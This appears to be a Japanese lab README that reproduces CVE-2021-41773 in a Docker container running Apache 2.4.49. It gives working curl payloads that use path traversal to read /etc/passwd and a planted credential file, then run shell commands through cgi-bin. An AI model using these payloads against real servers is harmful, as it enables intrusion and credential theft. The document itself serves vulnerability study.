
Apache 2.4.49における興味深い論理エラーの再現と分析 – それがリモートコード実行に発展した
CVE-2021-41773 は、2021年10月に Apache HTTP Server 2.4.49 で発見されたパストラバーサルの脆弱性です。根本原因は、要求されたパスが Web ルート内に収まっているかを確認する前に、URL 内のドットシーケンスを適切に正規化できなかったことにあります。この脆弱性により、攻撃者は Web ルートを抜け出してサーバのファイルシステム上の任意のファイルにアクセスすることが可能となり、一部のケースではリモートコード実行にまでエスカレーションする可能性がありました。
この検証で実証する2つの攻撃ベクトル
Docker
curl
Linux または macOS
Dockerfile - 脆弱な Apache 2.4.49 コンテナをビルド
exploit.sh - 自動化されたエクスプロイトチェーンスクリプト
README.md
Dockerfile の概要:
注: Docker がインストールされ、実行されていることを確認してください
オプション 1: 自動スクリプト
chmod +x exploit.sh
./exploit.sh
オプション 2: 手動実行
イメージをビルドしてコンテナを実行:
sudo docker build -t cve-2021-41773-env .
sudo docker run -d -p 8080:80 --name vulnerable-apache cve-2021-41773-env
手動実験用の個別 curl コマンド:
ステージ1 — 配置されたシークレットを読み取る (純粋なトラバーサル、CGI なし)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/secret_credential.txt"
ステージ2 — /etc/passwd を読み取る (純粋なトラバーサル、CGI なし)
curl -s --path-as-is \ "http://localhost:8080/static/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
ステージ3 — RCE: コマンドを実行 (mod_cgi が必要)
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; id; whoami; uname -a" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"
ステージ4 — 完全なチェーン: RCE 経由でシークレットを読み取る
curl -s --path-as-is \ -d "echo Content-Type: text/plain; echo; cat /etc/secret_credential.txt" \ "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"